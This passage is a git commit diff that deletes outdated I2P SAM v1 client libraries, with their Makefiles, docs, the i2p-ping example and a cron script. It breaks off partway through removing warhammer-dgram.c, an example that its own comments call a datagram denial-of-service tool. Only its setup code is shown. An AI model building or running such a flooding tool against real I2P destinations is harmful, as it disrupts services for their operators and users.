Remove ancient C, CSharp, Perl, Python SAM v1 client libs
See http://i2p-projekt.i2p/en/docs/api/samv3 for maintained list of v3 clients Remove unmaintained v3.0 protocol doc, link to website instead
This commit is contained in:
21
LICENSE.txt
21
LICENSE.txt
@ -355,24 +355,7 @@ distributions. See the source package for the additional license information.
|
||||
Admin Manager:
|
||||
Public domain
|
||||
|
||||
BOB Demos:
|
||||
Copyright (C) sponge
|
||||
DWTFYWTPL
|
||||
|
||||
Gradle wrapper:
|
||||
Gradle wrapper 5.2.1:
|
||||
(not included in most distribution packages)
|
||||
Copyright (c) 2017 the original author or authors.
|
||||
See licenses/LICENSE-Apache2.0.txt
|
||||
|
||||
SAM C Library:
|
||||
Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
See apps/sam/c/doc/license.txt
|
||||
|
||||
SAM C# Library:
|
||||
Public domain.
|
||||
See apps/sam/csharp/README
|
||||
|
||||
SAM Perl Library:
|
||||
See licenses/LICENSE-GPLv2.txt
|
||||
|
||||
SAM Python Library:
|
||||
Public domain.
|
||||
|
@ -1,64 +0,0 @@
|
||||
FLAGS+=-g
|
||||
CFLAGS+=$(FLAGS)
|
||||
LDFLAGS+=$(FLAGS)
|
||||
|
||||
OBJS:=obj/sam.lo obj/strl.lo obj/parse.lo obj/tinystring.lo
|
||||
DEPS:=$(patsubst obj/%.lo, .deps/%.d, $(OBJS))
|
||||
DESTDIR:=$(if $(DESTDIR),$(DESTDIR)/lib,/usr/lib)
|
||||
|
||||
MAKEFLAGS=-s -r
|
||||
|
||||
PERL=$(shell which perl 2>/dev/null)
|
||||
ifneq ($(PERL),)
|
||||
STATUS=$(PERL) ./status
|
||||
else
|
||||
STATUS=echo
|
||||
endif
|
||||
|
||||
LIBTOOL_LOG=libtool.log
|
||||
|
||||
all:: cleanlog .deps/finish
|
||||
|
||||
cleanlog:
|
||||
echo >$(LIBTOOL_LOG)
|
||||
|
||||
lib/libsam.so: obj/libsam.la
|
||||
libtool --mode=install install $^ `pwd`/$@ >>$(LIBTOOL_LOG)
|
||||
|
||||
obj/libsam-static.la: $(OBJS)
|
||||
$(STATUS) library '(static)'
|
||||
libtool --mode=link $(CC) -static $(LDFLAGS) -o $@ $^ >>$(LIBTOOL_LOG)
|
||||
|
||||
obj/libsam.la: $(OBJS)
|
||||
$(STATUS) library '(shared)'
|
||||
libtool --mode=link $(CC) -rpath $(DESTDIR) $(LDFLAGS) -o $@ $^ >>$(LIBTOOL_LOG)
|
||||
|
||||
obj/%.lo: src/%.c
|
||||
$(STATUS) compile $*
|
||||
libtool --mode=compile $(CC) $(CFLAGS) -Iinc/ -c -o $@ $< >>$(LIBTOOL_LOG)
|
||||
|
||||
$(OBJS):|obj
|
||||
obj:
|
||||
$(STATUS) MKDIR $@
|
||||
mkdir -p $@
|
||||
|
||||
.deps/%.d: src/%.c
|
||||
$(STATUS) deps $*
|
||||
$(CC) -Iinc/ -MM -MT obj/$*.o $< -o $@
|
||||
|
||||
-include $(DEPS)
|
||||
|
||||
DEPS+=.deps/finish
|
||||
.deps/finish: lib/libsam.so
|
||||
libtool --finish $(DESTDIR) >>$(LIBTOOL_LOG) && touch $@
|
||||
$(DEPS):|.deps
|
||||
.deps:
|
||||
$(STATUS) MKDIR $@
|
||||
mkdir -p $@
|
||||
|
||||
clean:
|
||||
$(STATUS) clean
|
||||
libtool --mode=clean rm -f obj/*.l* lib/*.l* lib/*.so* lib/*.a >>$(LIBTOOL_LOG)
|
||||
rm -Rf .deps libtool.log
|
||||
|
||||
.PHONY: all cleanlog clean
|
@ -1 +0,0 @@
|
||||
See the `docs' directory for the documentation and license.
|
@ -1,32 +0,0 @@
|
||||
=====================
|
||||
How to Install LibSAM
|
||||
=====================
|
||||
|
||||
1) Be sure you have GNU Make installed.
|
||||
|
||||
2) Find the Makefile for your operating system in the LibSAM root. For example,
|
||||
if you are on FreeBSD, you'd use Makefile.freebsd.
|
||||
|
||||
3) Run gmake with the -f option to build LibSAM. For example, on FreeBSD, you'd
|
||||
run "gmake -f Makefile.freebsd". On Linux, GNU Make is just called 'make', so
|
||||
you'd run "make -f Makefile.linux".
|
||||
|
||||
4) If that worked, you can now try to compile some of the example programs.
|
||||
They are compiled in the same way as LibSAM, but the Makefile names are
|
||||
different.
|
||||
|
||||
I2P-Ping should compile on any Unix system using the default Makefile. It won't
|
||||
work on Win32, however, because Win32 doesn't have the getopt() function.
|
||||
|
||||
The Warhammer example should run on any OS. Use the Makefile.posix for Unix
|
||||
sytems or the Makefile.mingw for Win32.
|
||||
|
||||
*** If you have trouble ***
|
||||
|
||||
If you have trouble compiling LibSAM, try to edit the Makefiles to fix the
|
||||
problem. The "Makefile.common" is shared by all systems, and you shouldn't have
|
||||
to touch it. Just copy the Makefile of the OS most similar to your own and
|
||||
start hacking on it. Send me a patch if you get it working.
|
||||
|
||||
I realise this build system is horrible, and in the future I will probably
|
||||
replace it entirely.
|
@ -1,27 +0,0 @@
|
||||
Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
* Neither the name of the author nor the names of any contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
@ -1,3 +0,0 @@
|
||||
The author is Matthew P. Cashdollar, who can be reached via email at
|
||||
mpc@innographx.com. The official LibSAM distribution site is at
|
||||
http://www.cashdollar.org/libsam
|
@ -1,11 +0,0 @@
|
||||
I need to do these things:
|
||||
|
||||
* SAM raw support (partially complete)
|
||||
* Write an instruction manual
|
||||
* Make dest a dynamic string
|
||||
* Change SAM parser to use a hashmap
|
||||
* Improve build system
|
||||
|
||||
Anyone can help with these things:
|
||||
|
||||
* Compile on as many platforms as possible
|
@ -1,52 +0,0 @@
|
||||
/* vi:set ts=4: */
|
||||
|
||||
v1.30
|
||||
* Added session to sam_namingback()
|
||||
* Removed stdint.h dependency
|
||||
* Improved WIRETAP to do more logging
|
||||
* Added "pinger.sh" shell script example for using i2p-ping
|
||||
* Added SAM_BAD_STYLE error
|
||||
* Added exit values for i2p-ping from xolo
|
||||
|
||||
v1.25 2004-07-31
|
||||
* Created I2P-Ping, a new example program (it's a clone of I2Ping). Works
|
||||
on Posix only, because it uses getopt().
|
||||
* Removed the old broken examples and added more comments to
|
||||
warhammer-dgram.c
|
||||
* Added support for sessions - now LibSAM can have multiple SAM sessions
|
||||
going at once (with different destinations)
|
||||
* Rewrote sendq functions to automatically send big packets, for better
|
||||
network performance (still considered experimental)
|
||||
|
||||
v1.20 2004-07-11
|
||||
* Ported to FreeBSD (Makefile.freebsd)
|
||||
* Full winsock compatibility - all Windows functions now return appropriate
|
||||
error strings
|
||||
|
||||
v1.15 2004-06-23
|
||||
* Added a new example program, warhammer-dgram (use with caution)
|
||||
* Fixed some fatal bugs in datagram handling
|
||||
* Added another error return type named SAM_TOO_BIG - some functions now
|
||||
return samerr_t instead of bool
|
||||
|
||||
v1.10 2004-06-16
|
||||
* Changed sam_strerror() to work the same as the standard library strerror()
|
||||
* Ported to native MS Windows (uses the Mingw development environment)
|
||||
* Fixed a probable bug in the Cygwin port
|
||||
|
||||
v1.05 2004-06-09
|
||||
* Added an example datagram client/server program in the examples directory
|
||||
* sam_read_buffer() now returns bool true if it read anything
|
||||
* Added repliable datagram support - sam_connect() now has another argument
|
||||
* Replaced strstr() with the more appropriate strncmp() in many places
|
||||
* Fixed a parsing error for STREAM CLOSED
|
||||
* Removed the old sam_naming_lookup() and renamed sam_naming_lookup_async()
|
||||
to sam_naming_lookup() to replace it
|
||||
* Fixed a bug in sam_stream_close() where a '\n' was not being sent after
|
||||
the SAM command
|
||||
* Fixed a bug where the stream ID was being improperly incremented in
|
||||
sam_stream_connect()
|
||||
* Added generic Linux Makefile for non-Debian distributions
|
||||
|
||||
v1.00 2004-06-02
|
||||
* First public release
|
@ -1,54 +0,0 @@
|
||||
FLAGS+=-g
|
||||
|
||||
CFLAGS = $(FLAGS) -pipe -std=c99 -Wall
|
||||
CFLAGS += -I../../inc
|
||||
LDFLAGS = $(FLAGS) -L../../lib -lsam
|
||||
|
||||
OBJS:=i2p-ping.lo
|
||||
DEPS:=$(patsubst obj/%.lo, .deps/%.d, $(OBJS))
|
||||
DESTDIR:=$(if $(DESTDIR),$(DESTDIR)/lib,/usr/lib)
|
||||
|
||||
MAKEFLAGS=-s -r
|
||||
PERL=$(shell which perl 2>/dev/null)
|
||||
ifneq ($(PERL),)
|
||||
STATUS=$(PERL) ../../status
|
||||
else
|
||||
STATUS=echo
|
||||
endif
|
||||
|
||||
LIBTOOL_LOG=libtool.log
|
||||
|
||||
all:: cleanlog i2p-ping
|
||||
|
||||
cleanlog:
|
||||
>$(LIBTOOL_LOG)
|
||||
|
||||
i2p-ping: $(OBJS)
|
||||
$(STATUS) link
|
||||
libtool --mode=link $(CC) $(LDFLAGS) -o $@ $^ >>$(LIBTOOL_LOG)
|
||||
|
||||
%.lo: %.c
|
||||
$(STATUS) compile $*
|
||||
libtool --mode=compile $(CC) $(CFLAGS) -Iinc/ -c -o $@ $< >>$(LIBTOOL_LOG)
|
||||
.deps/%.d: src/%.c
|
||||
$(STATUS) deps $*
|
||||
$(CC) -Iinc/ -MM -MT obj/$*.o $^ -o $@
|
||||
|
||||
clean:
|
||||
$(STATUS) clean
|
||||
rm -Rf .deps obj libtool.log
|
||||
libtool --mode=clean rm -f i2p-ping i2p-ping.lo >>$(LIBTOOL_LOG)
|
||||
|
||||
$(OBJS):|obj
|
||||
obj:
|
||||
$(STATUS) MKDIR $@
|
||||
mkdir -p $@
|
||||
|
||||
# -include $(DEPS)
|
||||
$(DEPS):|.deps
|
||||
.deps:
|
||||
$(STATUS) MKDIR $@
|
||||
mkdir -p $@
|
||||
|
||||
|
||||
.PHONY: all cleanlog clean
|
@ -1,265 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of the author nor the names of any contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* I2P-Ping won't compile on Windows because Windows lacks getopt()
|
||||
*/
|
||||
|
||||
/*
|
||||
* Exit values:
|
||||
* 0: Received at least one response from one dest, or help
|
||||
* message was successfully displayed
|
||||
* 1: Received no responses from any dest
|
||||
* 2: Naming lookup failed, or dest unspecified
|
||||
* 3: SAM error
|
||||
*/
|
||||
|
||||
#include <getopt.h> /* needed on Gentoo Linux */
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
#include "sam.h"
|
||||
|
||||
static void usage();
|
||||
|
||||
static void closeback(sam_sess_t *session, sam_sid_t stream_id,
|
||||
samerr_t reason);
|
||||
static void connectback(sam_sess_t *session, sam_sid_t stream_id,
|
||||
sam_pubkey_t dest);
|
||||
static void databack(sam_sess_t *session, sam_sid_t stream_id, void *data,
|
||||
size_t size);
|
||||
static void diedback(sam_sess_t *session);
|
||||
static void logback(char *s);
|
||||
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
|
||||
samerr_t result);
|
||||
static void statusback(sam_sess_t *session, sam_sid_t stream_id,
|
||||
samerr_t result);
|
||||
|
||||
bool gotdest = false;
|
||||
sam_pubkey_t dest;
|
||||
bool quiet = false;
|
||||
samerr_t laststatus = SAM_NULL;
|
||||
sam_sid_t laststream = 0;
|
||||
bool mihi = false;
|
||||
bool bell = false;
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int ch;
|
||||
int count = INT_MAX; /* number of times to ping */
|
||||
int pongcount = -1;
|
||||
char *samhost = "localhost";
|
||||
unsigned short samport = 7656;
|
||||
|
||||
while ((ch = getopt(argc, argv, "ac:h:mp:qv")) != -1) {
|
||||
switch (ch) {
|
||||
case 'a': /* bell */
|
||||
bell = true;
|
||||
break;
|
||||
case 'c': /* packet count */
|
||||
count = atoi(optarg);
|
||||
break;
|
||||
case 'h': /* SAM host */
|
||||
samhost = optarg;
|
||||
break;
|
||||
case 'm': /* I2Ping emulation mode */
|
||||
count = 3;
|
||||
mihi = true;
|
||||
quiet = true;
|
||||
break;
|
||||
case 'p': /* SAM port */
|
||||
samport = atoi(optarg);
|
||||
break;
|
||||
case 'q': /* quiet mode */
|
||||
quiet = true;
|
||||
break;
|
||||
case 'v': /* version */
|
||||
puts("$Id: i2p-ping.c,v 1.6 2004/12/02 17:54:23 mpc Exp $");
|
||||
puts("Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>");
|
||||
break;
|
||||
case '?':
|
||||
default:
|
||||
usage();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
argc -= optind;
|
||||
argv += optind;
|
||||
if (argc == 0) { /* they forgot to specify a ping target */
|
||||
fprintf(stderr, "Ping who?\n");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/* Hook up the callback functions - required by LibSAM */
|
||||
sam_closeback = &closeback;
|
||||
sam_connectback = &connectback;
|
||||
sam_databack = &databack;
|
||||
sam_diedback = &diedback;
|
||||
sam_logback = &logback;
|
||||
sam_namingback = &namingback;
|
||||
sam_statusback = &statusback;
|
||||
|
||||
sam_sess_t *session = NULL; /* set to NULL to have LibSAM do the malloc */
|
||||
session = sam_session_init(session); /* malloc and set defaults */
|
||||
samerr_t rc = sam_connect(session, samhost, samport, "TRANSIENT",
|
||||
SAM_STREAM, 0);
|
||||
if (rc != SAM_OK) {
|
||||
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
|
||||
sam_session_free(&session);
|
||||
return 3;
|
||||
}
|
||||
|
||||
pongcount = 0;
|
||||
for (int j = 0; j < argc; j++) {
|
||||
if (strlen(argv[j]) == SAM_PUBKEY_LEN - 1) {
|
||||
memcpy(dest, argv[j], SAM_PUBKEY_LEN);
|
||||
gotdest = true;
|
||||
} else
|
||||
sam_naming_lookup(session, argv[j]);
|
||||
|
||||
while (!gotdest) /* just wait for the naming lookup to complete */
|
||||
sam_read_buffer(session);
|
||||
gotdest = false;
|
||||
|
||||
for (int i = 0; i < count; ++i) {
|
||||
time_t start = time(0);
|
||||
sam_sid_t sid = sam_stream_connect(session, dest);
|
||||
while (laststream != sid && laststatus == SAM_NULL)
|
||||
sam_read_buffer(session); /* wait for the connect */
|
||||
if (laststatus == SAM_OK)
|
||||
sam_stream_close(session, laststream);
|
||||
time_t finish = time(0);
|
||||
laststream = 0;
|
||||
if (laststatus == SAM_OK) {
|
||||
pongcount++;
|
||||
|
||||
if (bell)
|
||||
printf("\a"); /* putchar() doesn't work for some reason */
|
||||
if (!mihi)
|
||||
printf("%s: %.0fs\n", argv[j], difftime(finish, start));
|
||||
else
|
||||
printf("+ ");
|
||||
} else {
|
||||
if (!mihi)
|
||||
printf("%s: %s\n", argv[j], sam_strerror(laststatus));
|
||||
else
|
||||
printf("- ");
|
||||
}
|
||||
laststatus = SAM_NULL;
|
||||
}
|
||||
if (mihi)
|
||||
printf(" %s\n", argv[j]);
|
||||
}
|
||||
|
||||
sam_close(session);
|
||||
sam_session_free(&session);
|
||||
return pongcount == 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
void usage()
|
||||
{
|
||||
puts("usage: i2p-ping [-amqv?] [-c count] [-h samhost] [-p samport] " \
|
||||
"<b64dest|name>\n\t[b64dest|name] [b64dest|name] ...");
|
||||
}
|
||||
|
||||
/*
|
||||
* Connection closed
|
||||
*/
|
||||
static void closeback(sam_sess_t *session, sam_sid_t stream_id, samerr_t reason)
|
||||
{
|
||||
fprintf(stderr, "Connection closed to stream %d: %s\n", (int)stream_id,
|
||||
sam_strerror(reason));
|
||||
}
|
||||
|
||||
/*
|
||||
* Someone connected to us - how dare they!
|
||||
*/
|
||||
static void connectback(sam_sess_t *session, sam_sid_t stream_id,
|
||||
sam_pubkey_t dest)
|
||||
{
|
||||
sam_stream_close(session, stream_id);
|
||||
}
|
||||
|
||||
/*
|
||||
* A peer sent us some data - just ignore it
|
||||
*/
|
||||
static void databack(sam_sess_t *session, sam_sid_t stream_id, void *data,
|
||||
size_t size)
|
||||
{
|
||||
free(data);
|
||||
}
|
||||
|
||||
/*
|
||||
* This is called whenever the SAM connection fails (like if the I2P router is
|
||||
* shut down)
|
||||
*/
|
||||
static void diedback(sam_sess_t *session)
|
||||
{
|
||||
fprintf(stderr, "Lost SAM connection!\n");
|
||||
exit(3);
|
||||
}
|
||||
|
||||
/*
|
||||
* The logging callback prints any logging messages from LibSAM (typically
|
||||
* errors)
|
||||
*/
|
||||
static void logback(char *s)
|
||||
{
|
||||
if (!quiet)
|
||||
fprintf(stderr, "LibSAM: %s\n", s);
|
||||
}
|
||||
|
||||
/*
|
||||
* This is really hackish, but we know that we are only doing one lookup, so
|
||||
* what the hell
|
||||
*/
|
||||
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
|
||||
samerr_t result)
|
||||
{
|
||||
if (result != SAM_OK) {
|
||||
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
|
||||
exit(2);
|
||||
}
|
||||
memcpy(dest, pubkey, SAM_PUBKEY_LEN);
|
||||
gotdest = true;
|
||||
}
|
||||
|
||||
/*
|
||||
* Our connection attempt returned a result
|
||||
*/
|
||||
static void statusback(sam_sess_t *session, sam_sid_t stream_id,
|
||||
samerr_t result)
|
||||
{
|
||||
laststatus = result;
|
||||
laststream = stream_id;
|
||||
}
|
@ -1,60 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
# Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions are
|
||||
# met:
|
||||
#
|
||||
# * Redistributions of source code must retain the above copyright
|
||||
# notice, this list of conditions and the following disclaimer.
|
||||
# * Redistributions in binary form must reproduce the above copyright
|
||||
# notice, this list of conditions and the following disclaimer in the
|
||||
# documentation and/or other materials provided with the distribution.
|
||||
# * Neither the name of the author nor the names of any contributors
|
||||
# may be used to endorse or promote products derived from this software
|
||||
# without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
# OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
# This script I use to ping all the hosts in the I2P hosts.txt file. You should
|
||||
# edit your hosts.txt and remove all the comments and blanks lines before
|
||||
# running this.
|
||||
#
|
||||
# You can set this up to run daily via cron. It takes a very long time to run
|
||||
# so I recommend starting it in the middle of the night.
|
||||
|
||||
OUTPUT=/tmp/index.html
|
||||
FINALOUT=$HOME/www/index.html
|
||||
|
||||
echo "<html>" > $OUTPUT
|
||||
echo "<head>" >> $OUTPUT
|
||||
echo "<title>I2P Weather Report</title>" >> $OUTPUT
|
||||
echo "</head>" >> $OUTPUT
|
||||
echo "<body>" >> $OUTPUT
|
||||
echo "<h1>I2P Weather Report</h1>" >> $OUTPUT
|
||||
echo "Date: " >> $OUTPUT
|
||||
date -u >> $OUTPUT
|
||||
echo "(refreshed daily)" >> $OUTPUT
|
||||
echo "<p>" >> $OUTPUT
|
||||
echo "If your site isn't listed, that means the ping failed (I2P error)" >> $OUTPUT
|
||||
echo "<p>" >> $OUTPUT
|
||||
echo "<pre>" >> $OUTPUT
|
||||
cut -d"=" -f1 $HOME/i2p/hosts.txt | tr "\n" " " | xargs $HOME/bin/i2p-ping -q -c 1 | grep -v "I2P error" >> $OUTPUT
|
||||
echo "</pre>" >> $OUTPUT
|
||||
echo "<p>" >> $OUTPUT
|
||||
echo "<i>Disclaimer: This only indicates accessibility from my router, not the network in general.</i>" >> $OUTPUT
|
||||
echo "</body>" >> $OUTPUT
|
||||
echo "</html>" >> $OUTPUT
|
||||
cp $OUTPUT $FINALOUT
|
@ -1,20 +0,0 @@
|
||||
#
|
||||
# This Makefile contains instructions common to all platforms
|
||||
#
|
||||
|
||||
#
|
||||
# Build rules
|
||||
#
|
||||
|
||||
all: clean warhammer-dgram
|
||||
|
||||
warhammer-dgram: warhammer-dgram.c
|
||||
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
|
||||
$(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS)
|
||||
|
||||
#
|
||||
# Cleanup rules
|
||||
#
|
||||
|
||||
clean:
|
||||
-$(RM) -f warhammer-dgram *.exe *.o
|
@ -1,25 +0,0 @@
|
||||
#
|
||||
# This Makefile is compatible with GNU Make and has Winsock linking
|
||||
#
|
||||
|
||||
#
|
||||
# Programs
|
||||
#
|
||||
|
||||
CC = C:\MinGW\bin\gcc
|
||||
RM = C:\MinGW\bin\rm
|
||||
|
||||
#
|
||||
# Flags
|
||||
#
|
||||
|
||||
CFLAGS = -g -O2 -pipe -std=c99 -Wall
|
||||
CFLAGS += -DWINSOCK
|
||||
CFLAGS += -I../../inc -L../../lib
|
||||
LIBS = -lsam -lwsock32
|
||||
|
||||
#
|
||||
# Include the make instructions common to all platforms
|
||||
#
|
||||
|
||||
include Makefile.common
|
@ -1,24 +0,0 @@
|
||||
#
|
||||
# This Makefile is compatible with GNU Make and should work on POSIX systems
|
||||
#
|
||||
|
||||
#
|
||||
# Programs
|
||||
#
|
||||
|
||||
CC = gcc
|
||||
RM = rm
|
||||
|
||||
#
|
||||
# Flags
|
||||
#
|
||||
|
||||
CFLAGS = -g -O2 -pipe -std=c99 -Wall
|
||||
CFLAGS += -I../../inc -L../../lib
|
||||
LIBS = -lsam
|
||||
|
||||
#
|
||||
# Include the make instructions common to all platforms
|
||||
#
|
||||
|
||||
include Makefile.common
|
@ -1,184 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of the author nor the names of any contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Warhammer-dgram: a simple denial of service tool which uses datagrams, and
|
||||
* illustrates how LibSAM works.
|
||||
* Use only with the utmost courtesy.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "sam.h"
|
||||
|
||||
/*
|
||||
* LibSAM callbacks - functions in our code that are called by LibSAM when
|
||||
* something happens
|
||||
*/
|
||||
static void dgramback(sam_sess_t *session, sam_pubkey_t dest, void *data,
|
||||
size_t size);
|
||||
static void diedback(sam_sess_t *session);
|
||||
static void logback(char *s);
|
||||
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
|
||||
samerr_t result);
|
||||
|
||||
/*
|
||||
* Just some ugly global variables. Don't do this in your program.
|
||||
*/
|
||||
bool gotdest = false;
|
||||
sam_pubkey_t dest;
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
/*
|
||||
* The target of our attack is specified on the command line
|
||||
*/
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Syntax: %s <b64dest|name>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Hook up the callback functions - required by LibSAM */
|
||||
sam_dgramback = &dgramback;
|
||||
sam_diedback = &diedback;
|
||||
sam_logback = &logback;
|
||||
sam_namingback = &namingback;
|
||||
|
||||
/*
|
||||
* This tool would be more destructive if multiple SAM session were used,
|
||||
* but they aren't - at least for now.
|
||||
*/
|
||||
sam_sess_t *session = NULL; /* set to NULL to have LibSAM do the malloc */
|
||||
session = sam_session_init(session); /* malloc and set defaults */
|
||||
|
||||
/* Connect to the SAM server -- you can use either an IP or DNS name */
|
||||
samerr_t rc = sam_connect(session, "localhost", 7656, "TRANSIENT",
|
||||
SAM_DGRAM, 2); /* the tunnel length of 2 can be adjusted to whatever */
|
||||
if (rc != SAM_OK) {
|
||||
